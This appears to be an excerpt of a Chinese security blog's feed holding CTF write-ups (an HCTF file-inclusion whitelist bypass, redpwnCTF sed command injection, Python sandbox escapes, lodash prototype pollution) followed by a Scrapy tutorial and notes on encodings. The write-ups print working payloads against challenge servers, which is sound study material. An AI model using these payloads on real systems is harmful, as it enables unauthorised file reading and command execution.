            $whitelist = [&quot;source&quot;=&amp;gt;&quot;source.php&quot;,&quot;hint&quot;=&amp;gt;&quot;hint.php&quot;];
            if (! isset($page) || !is_string($page)) {
                echo &quot;you can&apos;t see it&quot;;
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . &apos;?&apos;, &apos;?&apos;)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . &apos;?&apos;, &apos;?&apos;)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo &quot;you can&apos;t see it&quot;;
            return false;
        }
    }

    if (! empty($_REQUEST[&apos;file&apos;])
        &amp;amp;&amp;amp; is_string($_REQUEST[&apos;file&apos;])
        &amp;amp;&amp;amp; emmm::checkFile($_REQUEST[&apos;file&apos;])
    ) {
        include $_REQUEST[&apos;file&apos;];
        exit;
    } else {
        echo &quot;&amp;lt;br&amp;gt;&amp;lt;img src=\&quot;https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\&quot; /&amp;gt;&quot;;
    }  
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目要绕过不算难，但是有一个地方很重要&lt;/p&gt;
&lt;p&gt;这是我在本地调试的目录：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/hctf0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调试的时候我使用了如下payload&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://localhost/audit/warmup.php?file=source.php%253f/../flag.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时能够成功绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/hctf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就在这种情况下，文件包含也是成功的！&lt;/p&gt;
&lt;p&gt;根据题目提示flag在某个位置，其实这里靠猜了，因为只能用&lt;code&gt;../&lt;/code&gt;这样的来回到上一级目录&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/0d75017c154f&quot;&gt;phpmyadmin4.8.1远程文件包含漏洞&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;amp;mid=2247485036&amp;amp;idx=1&amp;amp;sn=8e9647906c5d94f72564dec5bc51a2ab&amp;amp;chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&amp;amp;mpshare=1&amp;amp;scene=1&amp;amp;srcid=0621gAv1FMtrgoahD01psMZr&amp;amp;pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd&quot;&gt;phpmyadmin4.8.1后台getshell&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/&quot;&gt;phpMyAdmin 4.8.x 本地文件包含漏洞利用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;突然还发现一个可以复现很多漏洞的地方 &lt;a href=&quot;https://www.vulnspy.com/phpmyadmin-4.8.1/&quot;&gt;https://www.vulnspy.com/phpmyadmin-4.8.1/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;github地址： &lt;a href=&quot;https://github.com/vulnspy/phpmyadmin-4.8.1&quot;&gt;https://github.com/vulnspy/phpmyadmin-4.8.1&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>redpwnctf复盘</title><link>https://rayepeng.net/posts/redpwnctf%E5%A4%8D%E7%9B%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/redpwnctf%E5%A4%8D%E7%9B%98/</guid><pubDate>Mon, 19 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;MISC&lt;/h2&gt;
&lt;h3&gt;he sed shi sed&lt;/h3&gt;
&lt;p&gt;一道很有意思的题目，看了一下源码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from os import system
inp = input(&quot;What you thought you sed\n&quot;)
rep = &apos;/&apos; + input(&quot;What you aren&apos;t sure you sed\n&quot;) +  &apos;/&apos; 
new = input(&quot;What you actually sed\n&quot;)
cmd = &apos;s&apos; + rep + new + &quot;/g&quot;
if &quot;&apos;&quot; not in new:
	cmd += &quot;&apos;&quot;
print(&quot;You actually said&quot;)

system(&quot;echo &apos;&quot; + inp + &quot;&apos; | sed &apos;&quot; +  cmd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sed命令是一种文本处理的命令， &lt;code&gt;sed s/a/b/g&lt;/code&gt; 就是替换&lt;/p&gt;
&lt;p&gt;如果我们输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What you thought you sed
abcdef
What you aren&apos;t sure you sed
b
What you actually sed
c
You actually said
accdef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以据此猜测出就是将b替换成了c&lt;/p&gt;
&lt;p&gt;于是猜测命令如下： &lt;code&gt;echo $1 | sed &apos;s/$2/$3/g&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注意到这两种命令的区别&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/08/19/cdaOznu5NMPTD4p.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是输入&lt;code&gt;$(ls)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到的结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sed0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后尝试输入&lt;code&gt;&apos;$(ls)&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个时候就得到结果了，实现了命令注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sed1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;genericpyjail&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/19/iw71jLN54Fvr6KY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;题目给了一个黑名单，并且提示你黑名单是不安全的，也就是要绕过了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/19/SEOXJqPplGFi4U5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很多都被禁止了，那么如何才能够绕过这些限制来达到任意命令执行呢&lt;/p&gt;
&lt;p&gt;这里可以使用unicode编码来绕过限制hhh（没想到吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jail0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;或者这样也行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jail1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;\u0066\u003d\u006f\u0070\u0065\u006e\u0028\u0022\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0022\u002c\u0020\u0022\u0072\u0022\u0029&apos;.decode(&apos;unicode-escape&apos;)
&apos;\u0070\u0072\u0069\u006e\u0074\u0028\u0066\u002e\u0072\u0065\u0061\u0064\u0028\u0029\u0029&apos;.decode(&apos;unicode-escape&apos;)

or--

exit(getattr(locals().get(chr(95)*2+&apos;built&apos;+&apos;ins&apos;+chr(95)*2), &apos;op&apos;+&apos;en&apos;)(&apos;fl&apos;+&apos;ag.txt&apos;).read())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;留下一个问题，怎么将字符转为Unicode编码。。&lt;/p&gt;
&lt;h3&gt;Tux Trivia Show&lt;/h3&gt;
&lt;p&gt;一个师傅的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
from subprocess import check_output

p = remote(&quot;chall.2019.redpwn.net&quot;, 6001)

p.recvuntil(&quot;!!!&quot;)

while True:
    try:
        print(p.recv())
        s = p.recvuntil(&apos;?&apos;)
    except EOFError:
        s = p.recv()
        print(s)
    print(s)
    s = s[:-1]
    s = s.split(&apos;capital of &apos;)[1]
    # print(s)
    ans = check_output([&apos;python3&apos;, &apos;get_capital.py&apos;, s])
    print(ans) 
    p.sendline(ans)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;get_capital.py&lt;/code&gt;如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from countryinfo import CountryInfo


country = sys.argv[1]
country_obj = CountryInfo(country)

caps = {&apos;New Mexico&apos;: &apos;Santa Fe&apos;, &apos;Colorado&apos;: &apos;Denver&apos;, &apos;Vermont&apos;: &apos;Montpelier&apos;, &apos;Arizona&apos;: &apos;Phoenix&apos;, &apos;Iowa&apos;: &apos;Des Moines&apos;, &apos;Florida&apos;: &apos;Tallahassee&apos;, &apos;West Virginia&apos;: &apos;Charleston&apos;, &apos;Illinois&apos;: &apos;Springfield&apos;, &apos;Oregon&apos;: &apos;Salem&apos;, &apos;Kansas&apos;: &apos;Topeka&apos;, &apos;Arkansas&apos;: &apos;Little Rock&apos;, &apos;Kentucky&apos;: &apos;Frankfort&apos;, &apos;Massachusetts&apos;: &apos;Boston&apos;, &apos;Texas&apos;: &apos;Austin&apos;, &apos;Wyoming&apos;: &apos;Cheyenne&apos;, &apos;Maryland&apos;: &apos;Annapolis&apos;, &apos;New York&apos;: &apos;Albany&apos;, &apos;New Jersey&apos;: &apos;Trenton&apos;, &apos;Louisiana&apos;: &apos;Baton Rouge&apos;, &apos;South Carolina&apos;: &apos;Columbia&apos;, &apos;Georgia&apos;: &apos;Atlanta&apos;, &apos;Idaho&apos;: &apos;Boise&apos;, &apos;Alaska&apos;: &apos;Juneau&apos;, &apos;Oklahoma&apos;: &apos;Oklahoma City&apos;, &apos;Connecticut&apos;: &apos;Hartford&apos;, &apos;Nebraska&apos;: &apos;Lincoln&apos;, &apos;Tennessee&apos;: &apos;Nashville&apos;, &apos;Pennsylvania&apos;: &apos;Harrisburg&apos;, &apos;Michigan&apos;: &apos;Lansing&apos;, &apos;Maine&apos;: &apos;Augusta&apos;, &apos;Wisconsin&apos;: &apos;Madison&apos;, &apos;South Dakota&apos;: &apos;Pierre&apos;, &apos;California&apos;: &apos;Sacramento&apos;, &apos;New Hampshire&apos;: &apos;Concord&apos;, &apos;Indiana&apos;: &apos;Indianapolis&apos;, &apos;Washington&apos;: &apos;Olympia&apos;, &apos;Utah&apos;: &apos;Salt Lake City&apos;, &apos;Alabama&apos;: &apos;Montgomery&apos;, &apos;Minnesota&apos;: &apos;St. Paul&apos;, &apos;Hawaii&apos;: &apos;Honolulu&apos;, &apos;Ohio&apos;: &apos;Columbus&apos;, &apos;Missouri&apos;: &apos;Jefferson City&apos;, &apos;Delaware&apos;: &apos;Dover&apos;, &apos;Virginia&apos;: &apos;Richmond&apos;, &apos;Nevada&apos;: &apos;Carson City&apos;, &apos;Montana&apos;: &apos;Helena&apos;, &apos;North Dakota&apos;: &apos;Bismarck&apos;, &apos;Mississippi&apos;: &apos;Jackson&apos;, &apos;North Carolina&apos;: &apos;Raleigh&apos;, &apos;Rhode Island&apos;: &apos;Providence&apos;, &apos;Bahamas&apos;: &apos;Nassau&apos;, &apos;Andorra&apos;: &apos;Andorra la Vella&apos;, &apos;East Timor (Timor-Leste)&apos;: &apos;Dili&apos;, &apos;Serbia&apos;: &apos;Belgrade&apos;, &apos;Macedonia&apos;: &apos;Skopje&apos;, &apos;Gambia&apos;: &apos;Banjul&apos;}

# with open(&apos;usstates.csv&apos;, &apos;r&apos;) as f:
#     for l in f:
#         l = l.strip()
#         state, cap = l.split(&apos;,&apos;)
#         caps[state] = cap

try:
    if country == &apos;Georgia&apos;:
        print(caps[&apos;Georgia&apos;])
    elif country == &apos;San Marino&apos;:
        print(&apos;San Marino&apos;)
    elif country == &apos;Kiribati&apos;:
        print(&apos;Tarawa&apos;)
    elif country == &apos;Moldova&apos;:
        print(&apos;Chisinau&apos;)
    else:
        print(country_obj.capital())
except KeyError:
    print(caps[country])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;genericpyjail2&lt;/h3&gt;
&lt;p&gt;还是一道python沙盒逃逸的题目&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gone = [&apos;open&apos;,&apos;file&apos;,&apos;execfile&apos;,&apos;compile&apos;,&apos;reload&apos;,&apos;__import__&apos;,&apos;eval&apos;,&apos;input&apos;]
for func in gone:
    del __builtins__.__dict__[func]
print &apos;wow! again, there\&apos;s a file called flag.txt! insane!&apos;
while True:
    try:
      x = raw_input()      
      if &quot; &quot; in x:
       print &quot;no spaces!&quot;
       exit()    
      print &quot;now it&apos;s &quot;, x, &quot;!&quot;
      exec &apos;x=&apos; + x
    except Exception, e:
      print &apos;Exception: &apos;, e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给出的payload如下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;raw_input((42).__class__.__base__.__subclasses__()[40](&apos;flag.txt&apos;).read())&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;web&lt;/h2&gt;
&lt;h3&gt;blueprint&lt;/h3&gt;
&lt;p&gt;题目给出了源码&lt;/p&gt;
&lt;p&gt;但是这对于不懂JavaScript的我来说又有什么用呢。&lt;/p&gt;
&lt;p&gt;天真的以为是XSS，于是抓包fuzz了一波，但是没有任何结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/19/ObmNvATC9y2qPtD.png&quot; alt=&quot;fuzz&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后得知这是JavaScript原型污染，具体什么是JavaScript的原型污染之后再说&lt;/p&gt;
&lt;p&gt;可以参考&lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-LODASH-450202&quot;&gt;这篇&lt;/a&gt;，lodash这个库存在原型链污染&lt;/p&gt;
&lt;p&gt;poc如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const mergeFn = require(&apos;lodash&apos;).defaultsDeep;
const payload = &apos;{&quot;constructor&quot;: {&quot;prototype&quot;: {&quot;a0&quot;: true}}}&apos;

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原体中存在漏洞的代码；&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/blue1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

user_id = &apos;22b0d010672600233e4ea68da64b1750&apos;
url = &quot;http://39.106.125.244:8001/&quot;

r = requests.post(url, cookies={&quot;user_id&quot;:user_id}, json={&quot;content&quot;:&quot;yakuhito was here&quot;,&quot;public&quot;:true, &quot;constructor&quot;: {&quot;prototype&quot;: {&quot;public&quot;: true}}})

print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以看到flag了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/blue0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关于JavaScript原型链污染的文章可以看&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html&quot;&gt;p牛的&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://kuhi.to/2019/08/15/redpwn-ctf-2019-writeup/#web-2&quot;&gt;Redpwn CTF 2019 – Writeup&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>scrapy爬虫入门</title><link>https://rayepeng.net/posts/scrapy%E7%88%AC%E8%99%AB%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/scrapy%E7%88%AC%E8%99%AB%E5%85%A5%E9%97%A8/</guid><pubDate>Mon, 19 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;scrapy架构&lt;/h2&gt;
&lt;p&gt;如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sccrapy0.png&quot; alt=&quot;scrapy&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最中间的是scarpy的引擎，引擎指挥Spiders去爬取URL，spiders将requests发往调度器，调度器会针对这些请求进行排队，之后送往dowanloader，downloader会从internet上下载资源，将这些response发往spiders，spiders将其封装好送往item pipeline中&lt;/p&gt;
&lt;p&gt;一个spider的工作流程大概就是如上所述&lt;/p&gt;
&lt;p&gt;scrapy可以开启一个shell进行调试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(base) C:\Users\zz&amp;gt;scrapy shell https://www.anquanke.com
2019-08-19 19:18:54 [scrapy.utils.log] INFO: Scrapy 1.7.3 started (bot: scrapybot)
2019-08-19 19:18:54 [scrapy.utils.log] INFO: Versions: lxml 4.3.2.0, libxml2 2.9.9, cssselect 1.1.0, parsel 1.5.2, w3lib 1.21.0, Twisted 19.7.0, Python 3.7.3 (default, Mar 27 2019, 17:13:21) [MSC v.1915 64 bit (AMD64)], pyOpenSSL 19.0.0 (OpenSSL 1.1.1b  26 Feb 2019), cryptography 2.6.1, Platform Windows-10-10.0.18362-SP0
2019-08-19 19:18:54 [scrapy.crawler] INFO: Overridden settings: {&apos;DUPEFILTER_CLASS&apos;: &apos;scra

....
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时会得到一些对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[s] Available Scrapy objects:
[s]   scrapy     scrapy module (contains scrapy.Request, scrapy.Selector, etc)
[s]   crawler    &amp;lt;scrapy.crawler.Crawler object at 0x00000269894A07B8&amp;gt;
[s]   item       {}
[s]   request    &amp;lt;GET https://www.anquanke.com&amp;gt;
[s]   response   &amp;lt;200 https://www.anquanke.com&amp;gt;
[s]   settings   &amp;lt;scrapy.settings.Settings object at 0x00000269894A0AC8&amp;gt;
[s]   spider     &amp;lt;DefaultSpider &apos;default&apos; at 0x269897d5160&amp;gt;
[s] Useful shortcuts:
[s]   fetch(url[, redirect=True]) Fetch URL and update local objects (by default, redirects are followed)
[s]   fetch(req)                  Fetch a scrapy.Request and update local objects
[s]   shelp()           Shell help (print this help)
[s]   view(response)    View response in a browser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时可以针对我们的xpath进行调试&lt;/p&gt;
&lt;p&gt;xpath如何获得？我们可以自己手动编写，或者直接通过chrome的开发者工具获得&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/scrapy0.png&quot; alt=&quot;获取xpath&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后尝试一下对不对&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [2]: response.xpath(&apos;//*[@id=&quot;post-list&quot;]/div[1]/div[2]/div[2]/div/div[1]/a&apos;)
Out[2]: [&amp;lt;Selector xpath=&apos;//*[@id=&quot;post-list&quot;]/div[1]/div[2]/div[2]/div/div[1]/a&apos; data=&apos;&amp;lt;a target=&quot;_blank&quot; rel=&quot;noopener nore...&apos;&amp;gt;]

In [3]: response.xpath(&apos;//*[@id=&quot;post-list&quot;]/div[1]/div[2]/div[2]/div/div[1]/a/text()&apos;).extract()
Out[3]: [&apos; 正在直播 | ISC 2019 互联网安全大会&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就能爬取下来了&lt;/p&gt;
&lt;h2&gt;一个简单的爬虫&lt;/h2&gt;
&lt;p&gt;我们看一下官方提供的一个&lt;a href=&quot;https://github.com/scrapy/dirbot&quot;&gt;栗子&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;目录结构如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/scrapy1.png&quot; alt=&quot;目录结构&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在items.py文件中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scrapy.item import Item, Field

class Website(Item):

    name = Field()
    description = Field()
    url = Field()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里定义了我们需要爬取的items，稍后我们将在我们的spider中编写xpath规则来提取我们需要的数据&lt;/p&gt;
&lt;p&gt;在dmoz.py中(爬虫的名字叫dmoz，名字必须唯一)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scrapy.spiders import Spider
from scrapy.selector import Selector

from dirbot.items import Website   # ---&amp;gt; 导入了我们之前定义的items

class DmozSpider(Spider):
    name = &quot;dmoz&quot;
    allowed_domains = [&quot;dmoz.org&quot;]
    start_urls = [
        &quot;http://www.dmoz.org/Computers/Programming/Languages/Python/Books/&quot;,
        &quot;http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/&quot;,
    ]

    def parse(self, response):  # spider默认的回调函数
        &quot;&quot;&quot;
        The lines below is a spider contract. For more info see:
        http://doc.scrapy.org/en/latest/topics/contracts.html
        @url http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/
        @scrapes name
        &quot;&quot;&quot;
        sites = response.css(&apos;#site-list-content &amp;gt; div.site-item &amp;gt; div.title-and-desc&apos;)
        items = []

&apos;&apos;&apos;
解析数据
&apos;&apos;&apos;
        for site in sites:
            item = Website()
            item[&apos;name&apos;] = site.css(
                &apos;a &amp;gt; div.site-title::text&apos;).extract_first().strip()
            item[&apos;url&apos;] = site.xpath(
                &apos;a/@href&apos;).extract_first().strip()
            item[&apos;description&apos;] = site.css(
                &apos;div.site-descr::text&apos;).extract_first().strip()
            items.append(item)

        return items
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这就是一个简单的，可以运行的爬虫了&lt;/p&gt;
&lt;p&gt;当然还有后续的步骤，包括如何爬取更多的数据，如何换页，如何将数据存入数据库中等等&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/xpath/all/&quot;&gt;xpath学习&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>MISC中神奇的编码</title><link>https://rayepeng.net/posts/misc%E4%B8%AD%E7%A5%9E%E5%A5%87%E7%9A%84%E7%BC%96%E7%A0%81/</link><guid isPermaLink="true">https://rayepeng.net/posts/misc%E4%B8%AD%E7%A5%9E%E5%A5%87%E7%9A%84%E7%BC%96%E7%A0%81/</guid><pubDate>Sun, 18 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;社会主义核心价值观编码&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://sym233.github.io/core-values-encoder/&quot;&gt;https://sym233.github.io/core-values-encoder/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/67Vqle8bG2k41oY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Quoted-Printable编码&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.mxcz.net/tools/quotedprintable.aspx&quot;&gt;http://www.mxcz.net/tools/quotedprintable.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/d3ZMLbBnrquagc9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;…&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .!...
..... ..... !.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!.. ..... ..... .!.?.
..... ...!? !!.?. ..... ..?.? !.?.. ..... .!.?. ..... ...!? !!.?! !!!!!
!!?.? !.?!! !!!!! !!!!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!!
!!!!! !!!!! !!!!! !!!!! !.!!! !!!!! !!!!! .?... ..... ..... ..!?! !.?..
..... ..... ..?.? !.?.. ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!!!! !!!.? ..... ..... ...!? !!.?. ..... ..... .?.?!
.?... ..... ..... ...!. ..!.! !!!!. ?.... ..... ..... .!?!! .?!!! !!!!!
!!!!! !?.?! .?!!! !!!!. ..... ..... ..!.! !!.!! !.!!! .!!!! !!!.. .....
..... ...!. ?.... ..... ....! ?!!.? ..... ..... ..?.? !.?.. ..... .....
..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!!
!!!!! !!.!! !!!.! !!!!! !!!.? ..... ..!?! !.?.. ....? .?!.? ..... .!.?.
..... ..... ..!?! !.?.. ..... ..... ?.?!. ?.... ..... ..... ....! .!!!.
!!!!! !!.?. ..... ..... ....! ?!!.? !!!!! !!!!! !!!!? .?!.? !!!!! !!!!.
..... ...!. ..... ..... ..!.! !!... ..!.? ..... ..... ...!? !!.?. .....
..... .?.?! .?... ..... ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!.!! !.?.. ..... ..... .!?!! .?... ..... ....? .?!.?
..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!!
!!!!! !!!!! !!!!! !!.!. ?.... ..... ..... .!?!! .?... ..... ..... .?.?!
.?!.! !!!!. ?.... ..... ..!?! !.?.. ..... ...?. ?!.?. ...!. ?.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/Y1HhDPtMxXqCbrT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/pdsu161530247/article/details/74640746&quot;&gt;bugku ctf 一段base64 wirteup&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>python中的编码问题</title><link>https://rayepeng.net/posts/python%E4%B8%AD%E7%9A%84%E7%BC%96%E7%A0%81%E9%97%AE%E9%A2%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E4%B8%AD%E7%9A%84%E7%BC%96%E7%A0%81%E9%97%AE%E9%A2%98/</guid><pubDate>Sun, 18 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;似乎好久之前就对这个有疑问了，还是沉下心来好好理解一下&lt;/p&gt;
&lt;p&gt;python3中的字符串都是Unicode编码的，我们知道编码是有很多种方式的，最常见的有utf-8,gbk,ascii编码&lt;/p&gt;
&lt;p&gt;好我们先来看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = &apos;example&apos;  ---&amp;gt; a 是 str类型
b = a.encode(&apos;utf-8&apos;) ---&amp;gt; 编码为字符
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时b的值为： &lt;code&gt;b&apos;example&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那这就很奇怪了，明明字母e德utf-8编码是0x65,为什么这里还是原来的？？&lt;/p&gt;
&lt;p&gt;不妨看这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/2aqRykLTjgoCSGZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们看到python默认会将这个解释成对应的字符，那这就很没办法了&lt;/p&gt;
&lt;p&gt;但是请看这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/Tgfm8l1NxwvM4BL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当我们去取出b中的一个元素时，这时候又转成了字母e的utf-8编码，只能说python在这一点上确实做的我无法理解&lt;/p&gt;
&lt;p&gt;ok到这里大概疑惑就没了，用什么格式编码得到的byte，就需要用对应的格式解码回去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/giCLUX7GzTrQ6Vu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看出不同的编码得到的byte是不一样的，并且python默认会将可打印的字符直接打印出来？&lt;/p&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;十六进制&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;a = &apos;example&apos;
b = b&apos;example&apos;
res = &apos;&apos;
for i in b:
    res += str(hex(i))[2:]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时res的值为：&lt;code&gt;6578616d706c65&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果要将其变回原来的字符串怎么办&lt;/p&gt;
&lt;p&gt;也就是一种ASCII hex编码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/vbZe8PCkli6r2TE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
